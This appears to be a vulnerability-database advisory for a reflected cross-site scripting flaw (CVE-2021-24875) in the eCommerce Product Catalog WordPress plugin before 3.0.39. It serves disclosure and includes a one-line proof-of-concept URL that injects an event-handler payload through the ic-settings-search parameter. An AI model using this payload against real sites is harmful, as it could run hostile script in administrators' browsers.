Lucene search
JrXnmWPVDB-ID:652EFC4A-F931-4668-AE74-A58B288A5715HistoryOct 25, 2021 - 12:00 a.m.
eCommerce Product Catalog for WordPress < 3.0.39 - Reflected Cross-Site Scripting
2021-10-2500:00:00
JrXnm
wpscan.com
14
ecommerce
wordpress
cross-site scripting
plugin
vulnerability
EPSS
0.001
Percentile
48.1%
The plugin does not escape the ic-settings-search parameter before outputting it back in the page in an attribute, leading to a Reflected Cross-Site Scripting issue
PoC
https://example.com/wp-admin/edit.php?post_type=al_product&page;=product-settings.php&ic-settings-search;="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Related
nvd
nvd
CVE-2021-24875
2021-11-23 20:15:10
cvelist
cvelist
cve
cve
CVE-2021-24875
2021-11-23 20:15:10
prion
prion
Cross site scripting
2021-11-23 20:15:00
nuclei
nuclei
WordPress eCommerce Product Catalog <3.0.39 - Cross-Site Scripting
2023-03-05 13:42:10
wpexploit
wpexploit